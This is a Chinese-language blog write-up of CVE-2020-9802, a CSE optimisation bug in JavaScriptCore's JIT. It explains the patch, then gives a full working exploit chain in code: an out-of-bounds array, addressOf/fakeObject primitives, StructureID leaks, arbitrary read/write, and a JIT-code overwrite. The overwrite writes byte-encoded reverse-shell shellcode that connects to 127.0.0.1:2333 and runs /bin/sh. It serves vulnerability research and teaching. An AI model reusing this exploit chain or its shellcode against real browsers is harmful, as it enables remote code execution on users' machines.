CVE-2020-9802 JSC CSE漏洞分析

robots

 

0x00 前言

编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。

 

0x01 前置知识

CSE

公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如

let c = Math.sqrt(a*a + a*a);

将被优化为

let tmp = a*a;
let c = Math.sqrt(tmp + tmp);

这样就节省了一次乘法,现在我们来看下列代码

let c = o.a;
f();
let d = o.a;

由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize函数,

template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def)
{
.............................................
    case CompareEqPtr:
        def(PureValue(node, node->cellOperand()->cell()));
        return;
..............................................

clobberize函数中的def操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要对CompareEqPtr运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。

边界检查消除

与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试

function foo(arr,idx) {
   idx = idx | 0;
   if (idx < arr.length) {
      if (idx & 0x3) {
         idx += -2;
      }
      if (idx >= 0) {
         return arr[idx];
      }
   }
}

var arr = [1.1,2.2,3.3,4.4,5.5,6.6];

for (var i=0;i<0xd0000;i++) {
   foo(arr,2);
}

debug(describe(arr));
print();
debug(foo(arr,0x3));

给print的函数断点用于中断脚本以进行调试b *printInternal,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码

[   0] enter
[   1] get_scope          loc4
[   3] mov                loc5, loc4
[   6] check_traps        
[   7] bitor              arg2, arg2, Int32: 0(const0)
[  12] get_by_id          loc6, arg1, 0
[  17] jnless             arg2, loc6, 29(->46)
[  21] bitand             loc6, arg2, Int32: 3(const1)
[  26] jfalse             loc6, 9(->35)
[  29] add                arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)
[  35] jngreatereq        arg2, Int32: 0(const0), 11(->46)
[  39] get_by_val         loc6, arg1, arg2
[  44] ret                loc6
[  46] ret                Undefined(const3)

其中[ 39] get_by_val loc6, arg1, arg2用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为

          0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11
          0x7fffaf101fad: mov (%r11), %r11
          0x7fffaf101fb0: test %r11, %r11
          0x7fffaf101fb3: jz 0x7fffaf101fc0
          0x7fffaf101fb9: mov $0x113, %r11d
          0x7fffaf101fbf: int3 
          0x7fffaf101fc0: mov $0x7fffaef000dc, %r11
          0x7fffaf101fca: mov $0x0, (%r11)
          0x7fffaf101fce: cmp -0x8(%rdx), %esi
          0x7fffaf101fd1: jae 0x7fffaf1024cb
          0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0
          0x7fffaf101fdc: ucomisd %xmm0, %xmm0
          0x7fffaf101fe0: jp 0x7fffaf1024f2

其中的

          0x7fffaf101fce: cmp -0x8(%rdx), %esi
          0x7fffaf101fd1: jae 0x7fffaf1024cb

用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2的展开如下

D@86:<!0:->    ExitOK(MustGen, W:SideState, bc#39, ExitValid)
D@63:<!0:->    CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)
D@66:<!2:->    GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsDouble
D@85:<!0:->    KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)
D@67:<!0:->    MovHint(DoubleRep:D@66<Double>, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)
ValueRep(DoubleRep:Kill:D@66<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)

从中可以看到GetByVal中传递的参数中含有InBounds标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下

此时,我们对butterfly中对应的位置下一个硬件读断点,然后继续运行

pwndbg> rwatch *0x7ff803ee4018
Hardware read watchpoint 79: *0x7ff803ee4018
pwndbg> c
Continuing.

然后断点断下

   0x7fffaf101b9c    movabs r11, 0x7fffaef000dc
   0x7fffaf101ba6    mov    byte ptr [r11], 0
   0x7fffaf101baa    cmp    esi, dword ptr [rdx - 8]
   0x7fffaf101bad    jae    0x7fffaf102071 <0x7fffaf102071>

   0x7fffaf101bb3    movsd  xmm0, qword ptr [rdx + rsi*8]
 ► 0x7fffaf101bb8    ucomisd xmm0, xmm0
   0x7fffaf101bbc    jp     0x7fffaf102098 <0x7fffaf102098>

我们发现这仍然存在cmp esi, dword ptr [rdx - 8]检查了下标,这是由于FTL JIT是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下

   0x7fffaf1039fa    mov    eax, 0xa
   0x7fffaf103a00    mov    rsp, rbp
   0x7fffaf103a03    pop    rbp
   0x7fffaf103a04    ret    

   0x7fffaf103a05    movsd  xmm0, qword ptr [rdx + rax*8]
 ► 0x7fffaf103a0a    ucomisd xmm0, xmm0
   0x7fffaf103a0e    jp     0x7fffaf103aeb <0x7fffaf103aeb>

发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析

pwndbg> vmmap 0x7fffaf103a0a
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7fffaf0ff000     0x7fffaf104000 rwxp     5000 0       +0x4a0a
pwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000
pwndbg>

可以看到语句

      if (idx & 0x3) {
         idx += -2;
      }

执行完毕后,无需再一次检查idx < arr.length,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。

 

0x02 漏洞分析利用

patch分析

diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu

     case ArithAbs:
         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
         if (node->child1().useKind() == Int32Use
             || node->child1().useKind() == DoubleRepUse
             || node->child1().useKind() == Int52RepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);

该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。

POC构造

首先从patch可以知道,修改的内容分别在ArithAbsArithNegate分支,它们分别对应了JS中的Math.abs-运算。
尝试构造如下代码

function foo(n) {
   if (n < 0) {
      let a = -n;
      let b = Math.abs(n);
      debug(b);
   }
}

for (var i=0;i<0x30000;i++) {
   foo(-2);
}

foo部分字节码如下

[  17] negate             loc7, arg1, 126
..........
[  48] call               loc6, loc8, 2, 18

分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下

[ 17]
CountExecution
GetLocal
ArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
MovHint
[ 48]
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)
Phantom
Phantom
MovHint

在FTL JIT阶段,代码变化如下

[ 17]
CountExecution
ArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
KillStack
ZombieHint
[ 48]
CountExecution
FilterCallLinkStatus
KillStack
ZombieHint

可以看到ArithAbs被去除了,这就是漏洞所在,ArithAbsArithNegate的不同点在于,ArithNegate不检查溢出,而ArithAbs会检查溢出,因此对于0x80000000这个值,-0x80000000值仍然为-0x80000000,是一个32位数据,而Math.abs(-0x80000000)将扩展位数,值为0x80000000。显然编译器没有察觉到这一点,将ArithAbsArithNegate认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下

function foo(n) {
   if (n < 0) {
      let a = -n;
      let b = Math.abs(n);
      debug(b);
   }
}

for (var i=0;i<0xc0000;i++) {
   foo(-2);
}

foo(-0x80000000);

程序输出如下

..............
--> 2
--> 2
--> 2
--> 2
--> 2
--> -2147483648

可以看到,这个值并不是Math.abs(-0x80000000)的准确值。

OOB数组构造

利用边界检查消除来进行数组的溢出

function foo(arr,n) {
   if (n < 0) {
      let a = -n;
      let idx = Math.abs(n);
      if (idx < arr.length) { //确定在边界之内
         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
            idx += -0x7ffffffd;
         }
         if (idx >= 0) { //确定在边界之内
            return arr[idx]; //溢出
         }
      }
   }
}

var arr = [1.1,2.2,3.3];
for (var i=0;i<0xc0000;i++) {
   foo(arr,-2);
}

debug(foo(arr,-0x80000000));

因为编译器的错误优化,idx是一个32位数,那么idx < arr.length的检查通过,那么后续的return arr[idx]; //溢出将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 1.5488838078e-314
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> undefined

这是因为漏洞最终发生在FTL JIT,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly下硬件断点,然后停下时将代码片段dump出来

seg000:00007FFFAF10346F                 mov     ecx, eax
seg000:00007FFFAF103471                 neg     ecx
seg000:00007FFFAF103473                 mov     rdx, [rdx+8]
seg000:00007FFFAF103477                 cmp     ecx, [rdx-8]
seg000:00007FFFAF10347A                 jl      loc_7FFFAF103496
seg000:00007FFFAF103480                 mov     dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF10348A                 mov     rax, 0Ah
seg000:00007FFFAF103491                 mov     rsp, rbp
seg000:00007FFFAF103494                 pop     rbp
seg000:00007FFFAF103495                 retn
seg000:00007FFFAF103496 ; ---------------------------------------------------------------------------
seg000:00007FFFAF103496
seg000:00007FFFAF103496 loc_7FFFAF103496:                       ; CODE XREF: seg000:00007FFFAF10347A↑j
seg000:00007FFFAF103496                 test    ecx, 80000000h
seg000:00007FFFAF10349C                 jnz     loc_7FFFAF1034E8
seg000:00007FFFAF1034A2                 test    ecx, ecx
seg000:00007FFFAF1034A4                 jns     loc_7FFFAF1034C0
................
seg000:00007FFFAF1034E8 loc_7FFFAF1034E8:                       ; CODE XREF: seg000:00007FFFAF10349C↑j
seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF                 sub     ecx, eax
seg000:00007FFFAF1034F1                 test    ecx, ecx
seg000:00007FFFAF1034F3                 jns     loc_7FFFAF1034C0
seg000:00007FFFAF1034F9                 jmp     loc_7FFFAF1034AA
................
seg000:00007FFFAF1034C0 loc_7FFFAF1034C0:                       ; CODE XREF: seg000:00007FFFAF1034A4↑j
seg000:00007FFFAF1034C0                                         ; seg000:00007FFFAF1034F3↓j
seg000:00007FFFAF1034C0                 mov     eax, ecx
seg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]
seg000:00007FFFAF1034C7                 ucomisd xmm0, xmm0
seg000:00007FFFAF1034CB                 jp      loc_7FFFAF1035A8
seg000:00007FFFAF1034D1                 movq    rax, xmm0
seg000:00007FFFAF1034D6                 sub     rax, rdi
seg000:00007FFFAF1034D9                 mov     dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF1034E3                 mov     rsp, rbp
seg000:00007FFFAF1034E6                 pop     rbp
seg000:00007FFFAF1034E7                 retn

从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比较右边界,但由于ecx是32位,0x80000000比较通过,然后

seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF                 sub     ecx, eax

使得ecx为3,最后通过

seg000:00007FFFAF1034C0                 mov     eax, ecx
seg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]

进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly中的lengthcapacity,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象

arr0 ArrayWithDouble,
arr1 ArrayWithDouble,
arr2 ArrayWithContiguous,

通过arr0溢出改写arr1的lengthcapacity,即可将arr1构造为oob的数组

var arr = [1.1,2.2,3.3];
var oob_arr= [2.2,3.3,4.4];
var obj_arr = [{},{},{}];

debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();

发现三个数组的butterfly不相邻,并且类型不大对

--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463

前两个类型为CopyOnWriteArrayWithDouble,导致它们与arr2的butterfly不相邻,于是尝试这样构造

let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];

debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932

这回就相邻了,然后我们利用前面的漏洞构造oob数组

function foo(arr,n) {
   if (n < 0) {
      let a = -n;
      let idx = Math.abs(n);
      if (idx < arr.length) { //确定在边界之内
         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
            idx += -0x7ffffffd;
         }
         if (idx >= 0) { //确定在边界之内
            arr[idx] = 1.04380972981885e-310; //溢出
         }
      }
   }
}

let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];

for (var i=0;i<0xc0000;i++) {
   foo(arr,-2);
}
foo(arr,-0x80000000);

debug(oob_arr.length);

输出如下,需要多次尝试,原因前面说过

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 4919

利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语

泄露StructureID

getByVal

在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode)
{
   ..............................
    if (subscript.isUInt32()) {
       .......................
        } else if (baseValue.isObject()) {
            JSObject* object = asObject(baseValue);
            if (object->canGetIndexQuickly(i))
                return object->getIndexQuickly(i);

其中canGetIndexQuickly源码如下

    bool canGetIndexQuickly(unsigned i) const
    {
        const Butterfly* butterfly = this->butterfly();
        switch (indexingType()) {
...............
        case ALL_DOUBLE_INDEXING_TYPES: {
            if (i >= butterfly->vectorLength())
                return false;
            double value = butterfly->contiguousDouble().at(this, i);
            if (value != value)
                return false;
            return true;
        }
............
    }

getIndexQuickly代码如下

    JSValue getIndexQuickly(unsigned i) const
    {
.............
        case ALL_DOUBLE_INDEXING_TYPES:
            return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));
...............
        }
    }

从上面可以知道getIndexQuickly这条路径不会使用到StructureID,那么如何触发getByVal呢?经过测试,发现对不是数组类型的对象,使用[]运算符可以触发到getByVal

var a = {x:1};
var b = a[0];
debug(b);
print();

因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal

var arr_leak = new Array(noCow,2.2,3.3);
function leak_structureID(obj) {
   let jscell_double = p64f(0x00000000,0x01062307);
   let container = {
      jscell:jscell_double,
      butterfly:obj
   }

   let container_addr = addressOf(container);
   let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
   f64[0] = hax[0];
   let structureID = u32[0];
   //修复JSCell
   u32[1] = 0x01082307 - 0x20000;
   container.jscell = f64[0];;
   return structureID;
}

var structureID = leak_structureID(arr_leak);
debug(structureID);
print();

调试如下
baseValue.isObject()判断通过,将进入分支

 ► 962         } else if (baseValue.isObject()) {
   963             JSObject* object = asObject(baseValue);
   964             if (object->canGetIndexQuickly(i))
   965                 return object->getIndexQuickly(i);
   966 
   967             bool skipMarkingOutOfBounds = false;
pwndbg> p baseValue.isObject()
$3 = true

接下来,我们跟踪进入canGetIndexQuickly函数

In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h
   272             return false;
   273         case ALL_INT32_INDEXING_TYPES:
   274         case ALL_CONTIGUOUS_INDEXING_TYPES:
   275             return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
   276         case ALL_DOUBLE_INDEXING_TYPES: {
 ► 277             if (i >= butterfly->vectorLength())
   278                 return false;
   279             double value = butterfly->contiguousDouble().at(this, i);
   280             if (value != value)
   281                 return false;
   282             return true;
pwndbg> p butterfly->vectorLength()
$11 = 32767

这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak这个对象当成了butterfly,因此容量也就是&arr_leak-0x4处的数据,即

pwndbg> x /2wx 0x7fffef1613e8-0x8
0x7fffef1613e0:    0xef1561a0    0x00007fff

与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可,因此可以在内存布局的时候在arr_leak前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。

Function.prototype.toString.call

另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier指向需要泄露的地址处,然后使用Function.prototype.toString.call获得任意地址处的数据,可参考文章

function leak_structureID2(obj) {
    // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf

    var unlinkedFunctionExecutable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fakeFunctionExecutable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinkedFunctionExecutable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      butterfly: {},
      pad: 0,
      m_functionExecutable: fakeFunctionExecutable,
    };


    let fakeObjAddr = addressOf(container);
    let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);

    unlinkedFunctionExecutable.m_identifier = fakeObj;
    container.butterfly = obj;

    var nameStr = Function.prototype.toString.call(fakeObj);

    let structureID = nameStr.charCodeAt(9);

    // repair the fakeObj's jscell
    u32[0] = structureID;
    u32[1] = 0x01082309-0x20000;
    container.jscell = f64[0];
    return structureID;
}

任意地址读写原语

在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了

var structureID = leak_structureID2(arr_leak);
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;

//debug(describe(arr_leak));
debug('[+] structureID=' + structureID);

var victim = [1.1,2.2,3.3];
victim['prop'] = 23.33;

var container = {
   jscell:f64[0],
   butterfly:victim
}

var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);

var padding = [1.1,2.2,3.3,4.4];
var unboxed = [noCow,2.2,3.3];
var boxed = [{}];

/*debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
debug(describe(hax));
*/

hax[1] = unboxed;
var sharedButterfly = victim[1];
hax[1] = boxed;
victim[1] = sharedButterfly;


function NewAddressOf(obj) {
   boxed[0] = obj;
   return u64f(unboxed[0]);
}

function NewFakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   unboxed[0] = addr;
   return boxed[0];
}

function read64(addr_l,addr_h) {
   //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
   //因此我们换用另一种方法,即利用property去访问
   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
   return NewAddressOf(victim.prop);
}

function write64(addr_l,addr_h,double_val) {
   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
   victim.prop = double_val;
}

劫持JIT编译的代码

var shellcodeFunc = getJITFunction();
shellcodeFunc();
var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);
var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);

var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);
var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);
debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));

debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));
debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));
debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));

const shellcode = [
    0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,
    0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,
    0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,
    0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,
    0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,
    0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,
    0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,
    0x3B, 0x0F, 0x05
];

function ByteToDwordArray(payload)
{

    let sc = []
    let tmp = 0;
    let len = Math.ceil(payload.length/6)
    for (let i = 0; i < len; i += 1) {
        tmp = 0;
        pow = 1;
        for(let j=0; j<6; j++){
            let c = payload[i*6+j]
            if(c === undefined) {
                c = 0;
            }
            pow = j==0 ? 1 : 256 * pow;
            tmp += c * pow;
        }
        tmp += 0xc000000000000;
        sc.push(tmp);
    }
    return sc;
}

//debug(describe(shellcodeFunc));

//debug(shellcode.length);
//替换jit的shellcode
let sc = ByteToDwordArray(shellcode);
for(let i=0; i<sc.length; i++) {
   write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));
}

debug("trigger shellcode")
//执行shellcode
print();
shellcodeFunc();

print();

这里,我们使用ByteToDwordArray将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i<sc.length; i++)的次数,避免write64被JIT编译,否则会报错崩溃,原因是因为我们伪造的对象未通过编译时的某些检查,但这不影响我们漏洞利用。
结果展示

 

0x03 感想

通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。

 

0x04 参考

FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug

(完)